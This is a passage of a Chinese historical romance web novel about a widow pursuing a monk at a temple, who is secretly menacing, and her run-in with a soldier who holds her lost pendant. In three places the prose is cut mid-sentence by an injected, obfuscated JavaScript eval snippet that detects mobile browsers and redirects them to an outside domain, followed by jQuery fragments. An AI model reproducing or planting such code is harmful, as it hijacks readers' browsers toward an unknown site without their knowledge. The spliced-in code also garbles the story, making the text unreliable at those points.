出了几日的艳阳,竹林的雪隐约有融化之意,小溪的水流潺潺,有几只幼小的可爱东西趴在边上饮水,尖耳听见有人踏雪的‘咯吱’声传来,全都急急忙忙地四处散开,雪地上留下串串凌乱的脚丫。 青年佛子面容温和,顺手从林中拾起不知是被什么猛禽撞倒的竹子,缓缓朝着竹林小舍走去。 还没有越过竹桥,他若有所感地侧首,脚步骤然停下,漆黑的眸子波澜不惊的定定凝望,立在院中的那一抹素净的身影。 身着素裳的女子头戴罩住半身的帷帽,站在院中探头往屋内看去,似乎在寻找人有没有在。 沈听肆时收回视线,清瘦修长的手指握住竹子,继续拖着沿路走去。 还没有走近,院中的谢观怜就发现了他,肉眼可见的欢喜,从帷帽中伸出手对他挥手,广袖滑落,露出一截雪白的腕子,在柔光下竟比白雪都还晃眼几分。 他默不作声地走进去。 “悟因!”谢观怜提着宽大的裙摆,想朝他奔去,可又碍于身份,最后矜持又轻快地莲步而去。 “檀越。”他手中拖着九尺之长的竹子,不好揖礼,便颔首示意。 谢观怜对他欠身,腔调难言雀跃:“悟因你先去忙吧,不用管我。” 语气自然得两人好似相识许久。 谢观怜顶着青年略显古怪的目光,兀自走到院中的石桌面前,用帕子将石凳上残留的水都擦拭干净,然后再坐上去,乖顺坐着等他。 沈听肆并未因为她在这里,而放下手中的事,拖着竹子踱步至不远处。 放下竹子后,他卷起袖口,露出的手腕与一小截小臂,在透白的肌肤下青筋鼓得很有力量的美感。 这不是一双抄经念佛的手臂,倒像是常年习武练功才能养出来的手。 谢观怜单手撑着侧脸,一眼不眨地盯着他只露出合理范围的手,很难移开眼。 尤其是想起刚才,他双手拖竹竿的样子,她竟莫名觉得那长身玉立的身姿,比周围的屹立风雪中的竹树都有韧劲。 只是…… 谢观怜看见他手持砍刀的姿势,目光微妙一变。 这架势……好像不太像是在砍竹子,反而像是将人按在木桩上,一砍刀一颗头。 她被自己古怪的念头吓得背脊发寒,连忙颤着眼睫去看他的脸。 待看见他悲悯渡人的神态,高悬的心才缓缓落下。 这分明就是悲天悯人的佛子面容,怎会是刚才幻想的变态杀人魔。 谢观怜不再看他的手臂,专注盯着他那张皮相出色的脸,一时间忘记了移开。 被她如此毫不掩饰、直勾勾地盯着,沈听肆薄唇微抿,无心思砍伐这些竹子,遂放下砍刀,站起身。 谢观怜见他似乎忙完了,忙不迭地上前将从袖中拿出的帕子递过去,“悟因,擦擦手上的竹汁。” 她的动作很自然,他亦自然地抬起手,正欲去拿她递来的帕子,闻见一股淡淡的梅香,女子在梅林说过的话,突兀地闯进来。 上山看一只野猫。 他放下抬起的手,含笑睨着她,漆黑的瞳色中暖意不达眼底,语气却有几分令人舒服的歉意:“多谢檀越,寺规僧人不接香客之物。” “好吧。”谢观怜也不失落,将帕子收起来。 说什么有寺规,僧人不收香客,他难道不知道自己不是真的佛子吗? 况且昨夜给她帕子都没有问她要。 心中虽是如此腹诽,但谢观怜没有说什么,亦步亦趋地跟在他的后面,看着他在小溪边舀水洗手。 她好奇地看着这条小溪,不像是天然而成,反倒像是后天挖渠从山上引流下来的。 她耐不住心中好奇,问道:“悟因,这小溪是谁挖的吗?” 沈听肆颔首:“嗯。” 谢观怜又问:“谁挖的,你吗?” 沈听肆淡淡地‘嗯’了声,站起身。 谢观怜跟着站起来,因蹲得有些发麻,摇晃了几下,稳定身形后又如同一条小尾巴跟在他的身后。 “你好厉害,竟然挖了一条小溪出来。” 不加掩饰的称赞,甚至都没有想过,这条小溪乃一人所挖的可能很小。 女人矫揉造作的声音嗡嗡的在耳畔,像是一只烦人的蚊子。 沈听肆墨眸中划过微不可见的冷恹,拾步上木阶,身后的人也跟着上来。 他的脚步骤然止下。 跟着她的谢观怜没有料到他会忽然停下来,险些撞上他的后背,身子下意识往后仰,双手撑在一旁的栏杆上才稳住身形。 她稳住后又后悔了,刚才应该撞上去。 当谢观怜心中正悔至极,前面的佛子转过身,眉宇平淡地凝着她,殷红的薄唇缓缓吐字:“不知还有何事吗?” 温情的神情,平淡的口吻,就差没将赶人矜持地写在脸上。 谢观怜往后退一步,垂头道:“不是说会帮我吗?我担心那人今夜还会来。” 这件事倒是忘记了。 沈听肆敛目见她分明很失落地垂着头,却还在竭力不露出丝毫的委屈,好似迎寒风的消瘦小白花。 他轻叹,缓和腔调:“是我忘记了,容我去换身衣裳可以吗?不用亦步亦趋地跟在后面。” 话音落下,谢观怜帷帽下的小脸露出慌乱,耳根泛红地往后倒退几步。 她下巴恨不得埋在胸口,委屈的声气儿也小了:“抱、抱歉,法师请去,我在外面等你。” 沈听肆乜斜她手足无措的姿态,转头继续往上走去。 待到上面的那扇门阖上,谢观怜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023479|161400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伪装的羞赧荡然无存,想起刚才他无奈妥协的语气,眼眸弯出狡黠的光。 果然男人都再如何,都没办法拒绝女子的示弱。 她折身坐回石凳上,等着他出来。 屋内的沈听肆走进房中,玉面上的温和淡去,深邃的眉宇分割出晦涩的阴暗。 这女子太黏人了,很烦。 而杀了她,也并不难。 他面无表情地褪下身上被弄脏的僧袍,在昏暗的房中露出精瘦漂亮的身躯,腰腹上的红莲纹痕一闪而过,随即被僧袍裹住。 他穿上僧袍后缓缓踱步至书架,伸手打开木匣子。 一匣子的冰冷武器,锋利、尖锐,品相精致美观。 他垂眸挑选里面出一把精美的匕首,斯文地束在腕上,然后才朝着门口走去。 拉开门时原以为会看见她守在门口,像甩不掉的牛皮膏药一样,露出虚伪的表情。 出乎意外的是,她并未在门口,连院中也没有。 她应该不会走,应该是在门外,看小溪,或者其他的。 沈听肆耐心极好,温柔地拾步下台阶。 还没走至门口便听见了女子刻意压低,软柔得矫揉造作的嗓音。 “小东西,你怎么跑到这里来了?” 谢观怜蹲在小溪边,小心翼翼地用双手托起雪白的小兔子,左右看它是公是母。 小兔子耳朵耷拉,双眼通红,三瓣唇蠕动,原本很安静的任由她打量,忽然不知看见了什么,四肢疯狂地挣扎。 谢观怜见此,担忧伤到了它,急忙将它放了。 安慰道:“别怕,别怕,我不是坏人,不会伤害你的,快快回家去吧。” 小兔子落地后在雪地里蹦跶得飞快,眨眼便消失不见。 连一只小兔子都这么冷淡。 谢观怜朱唇微启,轻轻地叹息,撑着双膝正欲站起身,余光忽而扫至小溪。 一道颀长的影子立在她的身后,随着水波波澜的扭曲。 她转过头,帷帽的轻纱被掀开一角,露出带笑的艳丽眉眼。 “悟因,你什么时候来的,我都没有发现你。” 她站起身看着他,眼眸霎时明亮。 青年佛子收回看向小兔子的视线,乌泱泱的目光如温柔的月光落在她身上,“刚刚。” 谢观怜轻眨眼,没再继续问。 两人走进院中,坐在石桌前。 谢观怜眸光含着担忧,透过帷帽的纱幔看他:“悟因,我现在晚上一个人不敢回去了,你有什么办法将那人抓住,然后不惊动他人吗?” 沈听肆听着她包含万般柔肠的腔调,覆下的黑睫微颤,抬手将匕首轻放在石桌上。 啪嗒一声,冰冷的匕首与石桌碰撞出清脆的声响。 她目光落在巴掌大小的精致匕首上一滞,一时没反应过来他这是什么意思,抬起杏花水眸懵懂地眨着。 一个慈悲为怀的佛子怎会有匕首?是她误会其意了吗? 正如她心中所想,年轻的慈悲人漆黑瞳仁中荡出温和,如他人一般周身带着祥和的神性。 他说:“此物削铁如泥,交予檀越防身之用。” 12.情信 谢观怜怀疑自己听错了。 他是让她若是遇见贼人后,拿着匕首与之搏斗吗? 那他可真看得起她。 见她并未接过,青年面呈疑惑地倾头,片刻露出恍然之色。 他唇角噙着的笑仍旧温润舒心:“檀越放心,或许也用不上这匕首,今夜僧会让人多留意你的住所,只要他再出现便能抓住。” 谢观怜放心了,不再犹豫地接过匕首抱在怀中,隔着轻纱对他珍重颔首:“我信悟因。” 信他? 这句话听乐了他,眼中无端升起一丝笑意,在她依赖的目光下缓缓弯眼。 谢观怜看着他忽而泛红的眼尾,目光流连至他脸上的笑。 不知为何,她竟觉得他笑得有几分古怪的艳。 但当她再想仔细打量时,青年的神色已经恢复往日那般谦虚有礼。 “既如此,天色也不早了。再晚些下山恐怕会遇见从林中饿极了,从洞穴爬出来寻食的猛禽,檀越早些下山罢。” 谢观怜眺望竹屋后面的深山,想起在小溪边遇见的那只小白兔,晓得他说得没错。 有随处可见的小兔子,必定也有来吃它的凶兽,晚下山可能会遇上危险。 她起身对他揖礼,“那怜娘便不打扰法师了。” “嗯。”他望着她颔首。 直至目送她走上竹木桥,身影消失在薄雾笼罩的竹林小道,方折身信步回竹林小舍。 檀香弥漫的竹林小舍内,三尺高宽的窗大敞。 沈听肆撩袍跪坐在蒲垫上,低敛如濯雪般净透的眉眼,手执抻杆将眼前的小香炉里的檀香余灰赶下。 “主子,属下查到了。” 如影般的人轻飘飘地跪地上,双手呈上用布包着的东西,声线极低地说着查到的事。 这是沈听肆养的暗卫,寻常都在各个权贵氏族府上,身边放得并不多,偶尔会动用他们去查一些事。 沈听肆神色淡淡地听着暗卫禀诉之事,用手的抻杆挑开包裹。 不起眼的包裹中缓缓露出里面的颜色艳丽、柔软的布料,布料极少,还绣着各色的昙花与莲花纹,争相夺艳地暴露在烛光中。 沈听肆最初识不出是何物,待看见细细的线被挑开,柔软如水的小衣落在地上,用金粉线绣的梵语‘悟’字,大剌剌闯进他的眼中。 原来全都是女子的贴身之物。 跪在面前的暗卫头埋得更低了。 沈听肆凝着这堆艳丽的颜色,后知后觉地回过神,拿着抻杆的手指微颤了一下。 静默须臾,他神色并未变化,继续将里面的那些小衣拨开。 直到从里面落下一张写满梵语的纸。 他敛目盯着那张纸,没有要伸手去触碰之意,双手搭在膝上,灰白的僧袍似漱冰濯雪,柔和的烛光落在身上形成高洁的净。 “打开。” 跪在地上的暗卫放下包裹,抻开纸张让他看清上面的字。 是一篇用梵语写得隐晦的情诗,整篇全是年少凄凄不得的爱,凌驾欲念之上,敬仰、思念、想要触碰却又触碰不上的爱慕。 沈听肆盯着上面的字,想起之前烧的那张锦帕上一样的字迹,眉头蹙起,薄唇微微抿起。 她竟然将这种东西和那些放在一起。 他沉默地盯着上面的字良久,写此诗之人对梵语钻研并不透彻,甚至还有几处的字和经据典都是错的,但不难看出其中的真心。 是他猜错了吗? 其实她想从他身上得到并非是权力、财物,而是单纯的男女爱欲。 换而言之,她所有蓄谋的接近都是因为爱慕他。 沈听肆哪怕看见了如此赤.裸的爱慕,眼底仍旧没有多少波澜,但也并无预想中的那种厌恶。 情和慾在他的眼中乃哪怕用再多秀丽词句包裹,塑金身、用玉瓷,仍旧掩盖不了散发出来的溃烂恶臭与肮脏。 他不会去碰,可此刻却伸出了手,从暗卫手中接过来那张写满爱慕的梵文。 暗卫没想到主子会去碰这些,明显一怔,随后耳边响起主子难辨情绪的嗓音。 “将余下的东西带出去烧了。” 暗卫回神,听从主子的吩咐很快消失在屋内。 窗格子外还下雪,屋内的暖意很浓,青年垂下眼帘,清瘦白净的指尖捏着那张纸。 他没打算还给谢观怜,也没想过丢进炉子‘毁尸灭迹’,而是将那张纸叠好放进去书架之中的匣子中,仔细叠好。 拜别沈听肆之后,谢观怜一刻也没在路上逗留,趁着天还未黑及时赶回了院子。 回去之后她将他送的匕首放在枕下,折身把能推开的门窗都关紧。 外面的风雪很大,狂风似在嚎哭,她原以为会很难入睡,谁晓得头一沾枕便睡过去了。 一夜无梦,醒来是已是日上三竿。 谢观怜起身第一件事便是查看门窗。 昨夜她在窗户边沿撒了敷面的珍珠粉,发现并未有推动的痕迹。 许是那贼人胆子很小,知晓被发现了,所以昨夜没有来。 也或许是沈听肆让人守着院子。 总之没有来她心下安稳不少,从枕下翻出那把匕首,用绢帕束在手腕上,随身携带。 谢观怜洗漱换衣后去找月娘。 原是想与她一道前往斋饭堂用膳,敲门后被小雪引进去,月娘却还穿着单薄的寝袍在屋内翻箱倒柜,似乎有什么东西丢了。 而屋内还有一名女子,谢观怜与她不熟,只记得她唤暄娘,本家与夫家并非是官宦,只是寻常的商贾之家,来迦南寺是为已逝的夫君守节,避免儿子遭人非议。 暄娘正在与月娘讲话,闻声止音,侧首暗自打量刚进来的谢观怜。 她对明德园中的这些年纪轻轻便丧夫的女子,多少都有些了解,尤其是谢观怜这种模样生得祸水的更是了解。 刚来时便听见不少人在私底下议论过她,命格不好,在家中克死父亲,出嫁又克死了夫君,众人皆道尽量不要与其接触。 谢观怜看见暄娘打量的神色,明白她心中所想,却并不在意,友善地颔首示意。 暄娘面上露笑,方才的打量眼神散去,转头对月娘道:“隔壁的怜娘子来了。” 看见谢观怜,月娘脸上的急色稍收,吩咐小雪倒茶。 谢观怜坐在窗边的小榻上,见她找得面红耳赤,不由得问道:“是在找什么吗?” 月娘蹲在地上翻着妆匣,回道:“一块我从家中带过来的双子玉佩不见了,分明昨日我都还佩戴在腰上,今儿想还想戴,却怎么都找不到了。” 小雪提着热茶进来,接话道:“我家娘子的佩饰很多,唯独就喜欢那一块双子玉佩,昨夜我还看见她放在妆匣中的,刚才奴婢陪娘子翻遍了房间都没有找到,实在古怪。” 丢东西了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027196|161400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢观怜思绪游离神外,捧起茶杯的指尖被烫得泛红。 昨夜那贼人没来,难道是因为转移了目标,看上了月娘吗? 还是说,本就是她想错了? 谢观怜放下茶杯,还没开口,一旁的暄娘便道:“是不是有人来过?不然为何好生生放在里面的东西不见了。” 小雪接话:“才放一晚上,怎会有人?暄娘子与怜娘子都是刚儿才来的。” 暄娘摇头,言语之间似有暗示:“或许就是昨夜有人来了。” 此话一出,胆小的月娘当即被吓得怔在原地,眼眶红红地看着她,一副快要被这句话吓哭的模样:“有……有人来过?” 小雪一听,立马上前扶起月娘,转头对暄娘颇有些恼怒道:“暄夫人,这话可不能乱说,这里是迦南寺的明德园,都是寡居的夫人住所,怎会有人来!” 话中透着警惕。 暄娘这句话若是不经意传出去,恐怕会引起不必要的麻烦。 见她如此反应,暄娘讷讷地咽下口中的话,缓和道:“我猜测或许是,因为前夜我也莫名丢了几件东西。” “猜……”小雪还欲驳她。 “小雪,罢了。”月娘打断小雪:“左右不过是个小物件儿,或许我昨夜记错了,不晓得丢去了何处,时日一长说不定自己就出来了,不许对暄娘无礼。” 小雪止话,垂头不言。 月娘眼含歉意地看向暄娘,“抱歉,小雪自幼便是这种急性子,没有冒犯到暄娘吧。” 暄娘刚被小雪如此叱了一番,此时月娘主动致歉,心中纵使不悦也没有表现出来。 毕竟月娘的身份尊贵,并非她这种普通商贾之人能接触得了的,能交好已是这段时日烧高香了。 暄娘不在意地掩唇笑道:“无碍,小雪姑娘瞧着就是直性子,这也怨不得她,都怪我嘴里没个把门的,说错了话。” 月娘心下愧疚,从妆匣中拿出一支仙鹤衔珠步摇,上前放在她的手中:“多谢暄娘宽宏,不计较。” 暄娘看见她递来的东西眼都直了,但还是连忙推拒:“使不得,使不得,如此贵重之物,我怎能用。” 若是没有看错,这簪子上有皇室的小字,定是宫中的赏赐之物。 月娘坚持:“就当做是给小雪的赔罪之物,暄娘不接,我会睡不安的。” 如此说,暄娘才抬起眼皮子,扫过屋内的谢观怜,面上尴尬,眼底却压不住笑意,语气犹豫不决:“既然月娘坚持,我……” 月娘塞进她的怀中:“拿着吧,好姐姐。” 暄娘也没再推迟,收下步摇,脸上的笑意浓烈:“娘子有人,我便不打扰娘子了,今日之事我权当未曾见过。” 月娘望她的美眸含感激。 暄娘揣着东西,眉眼欢喜地出去了。 小雪蹲在地上收拾那些东西。 月娘折身在妆匣子里挑了精致漂亮的臂钏,也想要赠与谢观怜。 谢观怜轻推过她的手,柔声拒绝:“多谢月娘,这臂钏很漂亮,我如今佩戴不得。” 她只是在昨日答应了,今儿来叫她一起去斋饭堂。 月娘应当是很少做这种事,被婉拒后脸颊微红,攥住臂钏翕动红唇道:“那我先换一件衣裙,一会儿出来与娘子一起去用膳。” 谢观怜点头,“那我在外面等你。” 说完她朝着门口而去,坐在外间等月娘出来。 13.香膏 两人一同前去斋饭堂。 用晚膳后,在逛园子消食,月娘欲言又止地说起刚才的事。 她忧郁地说道:“其实刚才在屋里,我并不是不信怜娘,而是若是不这样做,小雪会担忧。” 谢观怜本就没在意,若是换个人来,也同样会做出同样的事。 宽慰月娘道:“无碍,不是什么大事,我没放在心上。” 月娘松口气,抬手拂过耳畔散下的鬓发,语气低落道:“其实小雪是我小妹,因为我才来的迦南寺,所以她性子会有些骄纵。” “小妹?”谢观怜脚步一滞,侧首看向月娘,眼中闪过讶然。 冀侯君一族都在君主上位后,满门只留下月娘一人,哪来的小妹。 且她如此毫无遮掩地明说,就不担心她说出去吗? 月娘往前走累了,便坐在风亭的栏杆边,对她招手:“怜娘来这边。” 谢观怜犹豫片刻,坐于她身边。 月娘接着道:“别怕,是没有血缘的,小雪的母亲是我娘亲身边的大丫鬟,算是一起长大的,后来冀府只剩下我一人……我孤独,恰好她一直陪在我身边,我便认她做了小妹。” 谢观怜面露了然之色。难怪从月娘第一次来,小雪就不许让人接触她。 “你妹妹待你很好。”谢观怜笑了笑。 两人相熟时日不短,月娘知晓她有兄长,但因兄长娶了妻就将她送来丹阳冲喜,亲人待她应是很凉薄。 月娘掠过此间话题,道:“其实刚才暄娘说的话,我觉得是真的,但又不能让小雪知晓了平添担忧。” 其实刚住进明德园她就觉此处古怪,尤其是前不久她夜里其实睡得很不安宁,意识模糊间,隐约察觉有人在房里找什么东西。 月娘轻咬下唇,想到这几夜的古怪,同她道:“不知道是因为我梦魇了,还是怎的,这几夜我感觉有人在我房中翻找什么东西。” 谢观怜定睛看向她。 月娘以为她不信,清秀的脸上浮起一丝急迫:“真的,所以那日我才和你说这里可能有鬼。” 谢观怜见她着急,抬手搭在她的手背上,“我信你的,其实我也丢了东西。” “啊。”月娘睁圆了眼,怔愣须臾后露出惶恐,抓住她的手害怕道:“那我们怎么办?这事也不能说出去,若是说出去了,我们的名声就都坏了。” 谢观怜见她惧得眼眶含泪,握住她冰凉的手,安慰她说:“别担心,或许只是外面的人偷些钱财。” “嗯。”月娘眼含泪雾地望着她,满是信赖地点头。 许是晓得或许真有人行过偷盗之事,月娘很心不在焉,两人在亭子坐了会子,她便兴致缺缺地回去了。 谢观怜原也是打算回去,但起身时余光忽而扫到一道人影。 绣鞋止住,侧首看去。 对面有一灰衣男子跟着寺中的小沙弥,正说着话,一起走下石道。 那人……有些眼熟。 她蹙起黛眉,垂眸思忖须臾,鞋尖微转朝着石道而去。 石林小道,蜿蜒崎岖,只修建得美观,却一点也不好走,尤其是身穿长裙裾时既要撩着帷帽,又要提裙摆。 好不容易走下去,发现下面是一方小殿,此处肉眼一看便知寻常几乎没有什么人,连香火都很少,而刚才跟着沙弥的那位灰衣男子不知朝着哪边走了。 谢观怜走进殿内,流眸打量周遭。 神龛中只零散摆放了几尊小佛像。 没到到人,她露出失落,跪于蒲垫上,对神佛虔诚地俯拜。 拜佛后站起身欲离去,转头又冷不丁儿被身后的人吓得往后退了一步。 不知何时,身后的门框上倚着一位双臂环抱的冷峻青年,周身矜贵的冷意不似寻常的世家郎君。 他剑眉凤目,毫不掩饰地盯着她拜神佛。 谢观怜以为他是要来自己的位置拜佛,便让出位置,对他颔首示意可以去了。 拓跋呈懒抬眼皮,扫了眼蒲垫,并未上前。 谢观怜早就忘记了他,打算回明德园。 还没跨出门槛,头上戴的帷帽忽然被人勾住,帷帽直接从单螺髻上被扯掉,几缕发丝贴在未施粉黛的脸颊上。 她眼含错愕地抬起头看去。 帷帽落下时,拓跋呈闻见一股微弱的梅香,忽而想起了此前遇见她在梅林与身边侍女说过的话。 所以抹了香膏,用在身上给‘他’闻。 拓跋呈心口无端发烫,与她那双如浸在水中的明亮眸儿对视上,神色略微滞,竟一时忘记了要说什么。 而谢观怜头次在迦南寺遇见如此轻挑的男子,心下生恼,拽回他手中的帷帽,再度戴在头上。 不想与这陌生男子有什么牵扯,她转身往前走。 拓跋呈回神,下意识伸手将她拦住。 谢观怜往后倒退数步避开与他接触,警惕地看向他:“不知这位郎君拦小妇作何?” “小妇……”拓跋呈蹙眉,不虞地盯着她:“你嫁人了?” 既然早就嫁人了,为何还要勾搭他?还与人私底下说他是野猫。 谢观怜不明所以道:“早已嫁人,不知这位郎君是有何事吗?若是想问路,小妇对迦南寺并不太熟悉。” 她讲话留有余地,但拓跋呈没顺她的台阶,而是眼神黑沉地朝她走去。 他生得很是高大,尤其是身上穿着玄绒半袖大氅,走路犹带风显得气势迫人。 谢观怜被逼得连连往后退,眼看着她要大声喊救命,他方停在一步之遥。 拓跋呈盯着才极胸口的女子,隔着帷帽都似能看见她的杏眸微颤出水色,一截白皙尖尖的下巴轮廓朦胧地透出。 女人娇小瘦弱得他随手一提,似乎就能直接扛回去。 像极了他在军营中,经常能看见的可怜俘虏。 看出她的害怕不似作假,拓跋呈将指尖挂着的玉佩悬在她的眼前,沉声问:“这是你掉的东西吗?” 谢观怜撩起微湿的眼皮,定睛看向近在眼前的玉佩,发现正是她丢的那一块。 “回答,是你掉的吗?”拓跋呈面无表情地问,冷硬得如同审讯犯人。 谢观怜咬唇,虽不知他从何处捡到的这块玉,但的确是她的。 “……不是。” 女人的声线细弱蚊蚋。 拓跋呈下意识厉声:“没吃饭吗?回答的声音这般小,给我大声点!” 叱完他脸色一僵,眼中闪过恼意。 忘记了此处不是军营,而眼前的小女子也不是军营那些爷们,吼一声恐怕是要红眼了。 他未吼过女子,自然也没有哄过,话出口那瞬间脸色都淡了几分。 谢观怜也从未受过如此强烈的压迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031998|161400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感,压下被他无端吼出的情绪,认真地提高声量:“是,回军爷,小妇不认识这玉佩。” 眼前这男子腰上配饰是令牌,而非世家郎君喜好的玉珏。 恰好这种令牌,她以前有幸在兄长手中见过一次,虽不是同一块,样式却大差不差。 眼前的人哪怕气息控制得很稳,也掩盖不了他常年被森严规矩束缚,且周身有凶煞的力气。 不是寻常人,或许是位将军。 其实她不是不能承认,但深知常年行军之人军规森严,一句话不对,说不定他就把她当成罪犯来对待,而且玉佩上没写她的名字,只是一块可有可无的不值钱配饰罢了。 谁知他是什么地方拾到这块玉的,若是来路不正,她不好处理。 面对这种人,谢观怜一向谢绝不敏,不想招惹没必要的麻烦。 女人没有如同意料中那般娇柔,拓跋呈诧异挑眉,俊脸的冷淡稍减。 谢观怜见他又不说话,以为他可能在外打仗,耳朵聋了,再度提高嗓音:“这玉佩并非是小妇的,从未见过,不知军爷是要问何话?” 话毕她发现眼前的男子,看她的神色带上审视。 竟说不识得这物件儿,难不成忘记了是自己丢给他的吗? 拓跋呈蹙眉打量眼前玉颜被帷帽罩住的女子,断定她并非是忘记了,而是见他拿玉来问,以为他是来诘问,故而咬紧话头不松不承认。 毕竟她都已嫁人了,若是被夫婿晓得终归不好。 但她既已嫁了人,为何还这般不安分的来勾搭他。 拓跋呈冷哼一声,面无表情的将玉佩握在手中,负与身后,周身气息不悦至极。 谢观怜窥他又不讲话,心忖不稳他这是何意。 “许是我认错了。”拓跋呈睇一眼她藏在轻纱下不安的神色,心中虽不悦,却没打算过多为难她。 谢观怜悄然吁气,恢复端庄的姿态对他欠身行礼。 女人从雾白的透纱中,不经意露出的纤玉指节犹如白葱。 拓跋呈目光落在上面,脑中想起方看见的那双眼,不知为何心里陡升郁气。 他率先阔步离去,指尖勾着那块精美秀丽的玉佩,从她的眼跟前晃过。 谢观怜望着他的背影,忽而轻‘嘶’,眸中闪过恍然大悟。 想起来了,之前她接近悟因时为了让自己看起来很凄惨,刻意从山上摔下来那夜好似撞见过他。 玉佩也是那时候丢了的。 当时夜幕很浓,所以并未看清得很清楚,只记得不小心撞上了位气度不俗的男子,没想到竟是位军爷。 那他方是一直跟在她的身后,还是无意间遇见她在这里的? 无论是那种,谢观怜都明白,最好不要与刚才离去的那男人有任何接触。 而且他看着也不像是好人。 没有找到刚才的人,谢观怜不在此地多逗留,直径回了明德园。 趁着时候尚早,她翻出尚未抄写完的经书,坐在窗边研磨提笔继续抄写。 可刚写了几个字,她抑制不住又想起今日无意看见的那人。 明知道她嫁来丹阳给将死之人冲喜,兄长会觉得丢人,不会将她的消息告知给相识的那些故人,所以不可能会在迦南寺遇见故人。 或许只是背影相似罢了。 可谢观怜心中仍难以平静。 14.喜欢 丹阳距离雁门千里,他也不可能会来丹阳。 她敛下心思,提笔落在宣纸上,可悬空许久,浓墨都已顺着笔尖滴落在纸张上,都还迟迟没有落笔。 心中有了杂念就很难以静下心思。 谢观怜放下笔将晕墨的纸张揉成一团,起身拿起挂在架上的兔绒披风,抱着汤婆子打算上山去找悟因。 小雾捡了一只从树上掉下来的雏鸟,见她带着毛绒兜帽似乎要出去,想要跟着一起。 谢观怜摸了摸她的头:“乖乖的和小鸟玩,我一会儿便回来。” 小雾噘嘴,勉强答应不跟着。 山下艳阳高照,弯曲的山林小道蜿蜒往上,越往深处覆盖的薄雾越明显。 尤其是竹林中,竹叶被积雪往下压得沉甸甸的,青石板的缝隙中结着透明的冰。 谢观怜每次来这里都觉着有股阴森森的冷寒感,听山下的僧人无意间说起过,这林中时常有凶残的野兽出没,所以没必要他们都不会上来。 不过她来这几次没遇上什么凶残的野兽,倒是遇见了几只雪白的小兔子。 山上没有被冻住的水或许有野兽守着,所以这些可怜的小东西渴得不行了,便就壮着胆子从山上钻出来,来这条小溪饮水。 察觉到有人来了,小兔子三瓣唇蠕动,警惕地竖起耳朵,转过通红的眼珠子,仿佛会认人般见她熟悉又继续转过头蹲在溪边饮水。 谢观怜看见这几只小白兔竟不认生,心中欢喜地悄步移去,蹲在它们的身边,歪头看它们喝水。 薄雾笼罩竹林,沈听肆从竹林中行出,墨眸扫去不远处,只见溪边蹲着身着素衣,乌发云鬟,面容明艳的女子。 她的侧颜宁静,琼鼻被风吹得泛红,弯起的眸儿如一汪剪秋,有种不真切的朦胧之感。 他乜斜一眼,敛下长睫,朝着前方缓缓而去,灰白的袍摆被风吹得发出细微的窸窣声。 谢观怜听见声音侧头,看见朝着这边信步似林中仙的青年,眸光微动。 她抱起怀中的小兔子,眉眼皆扬地朝他挥手,嗓音如家养的黄鹂,脆生生的。 “悟因。” 沈听肆沉稳的步伐停在她的面前,敛目揖礼,温声回应:“檀越。” 黑影覆在头顶,怀中的小兔子挣扎落在地上,蹦跶着腿,讨好地蹲在他的脚边,张口咬着他垂在脚踝的僧袍。 许是因为他高,立在面前无端有种压迫感。 她往旁边小心翼翼地移了一步,拉开被身量压迫的距离,眼含感激的对他道:“我是来感谢你的,多谢你昨夜在明德园外与他们讲经,他昨夜真的没有来。” 昨夜她隐约听见外面有人在念经,还以为是做梦,清晨起来出去时才听见原是真是他,所以现在她是真的来感谢他的。 不愧是慈悲人,真的说到做到。 沈听肆弯腰将蹲在脚边的小兔子抱起来,淡笑道:“没来便好。” 谢观怜目光落在他抱小兔子的手上,肌肤冷感的手揉着兔子的耳朵,然后再轻柔地拂过后背,手法似乎很熟练。 她盯看了几眼,诧异道:“我发觉此处的兔子好生乖觉,竟然不怕生人?” “嗯。”他盖下的长睫轻抖,斯文的语气似对待情人般温柔:“是我养的。” “你养的?”谢观怜讶然地眨眼看他。 没想到这些兔子都是他养的。 沈听肆抬眸越过她惊讶的神色,抱着兔子转身往竹林缓步而去,腔调轻缓地解释:“前年的冬季下了很大一场雪,山中的水泉都被冻住了,林中的野禽不知从什么地方钻出来想下山寻吃的,僧上山时恰好看见一窝小兔在院子里,然后就养起来了。” 那年林中的凶兽下山咬死了寺中不少人,所以山上才没有人来。 谢观怜亦步亦趋地跟在身后听他说,好奇地问:“养了多少只?” 行在前方的青年玉面温柔,越过台阶,腔调轻缓,“没仔细数过,或许大约有百来只,它们生得太快了。” 难得听见他语气中含着无奈。 谢观怜想到他本是出于怜悯,好心收养几只小兔子,结果一窝小兔又生一窝,多到院子养不下了,他只得将那些小兔子都放养。 而小兔子自幼在这里长大,所以习惯山上的泉水被冻住,熟门熟路地下山来找他。 佛子连兔子都布施慈悲。 她忍不住弯眼笑了下。 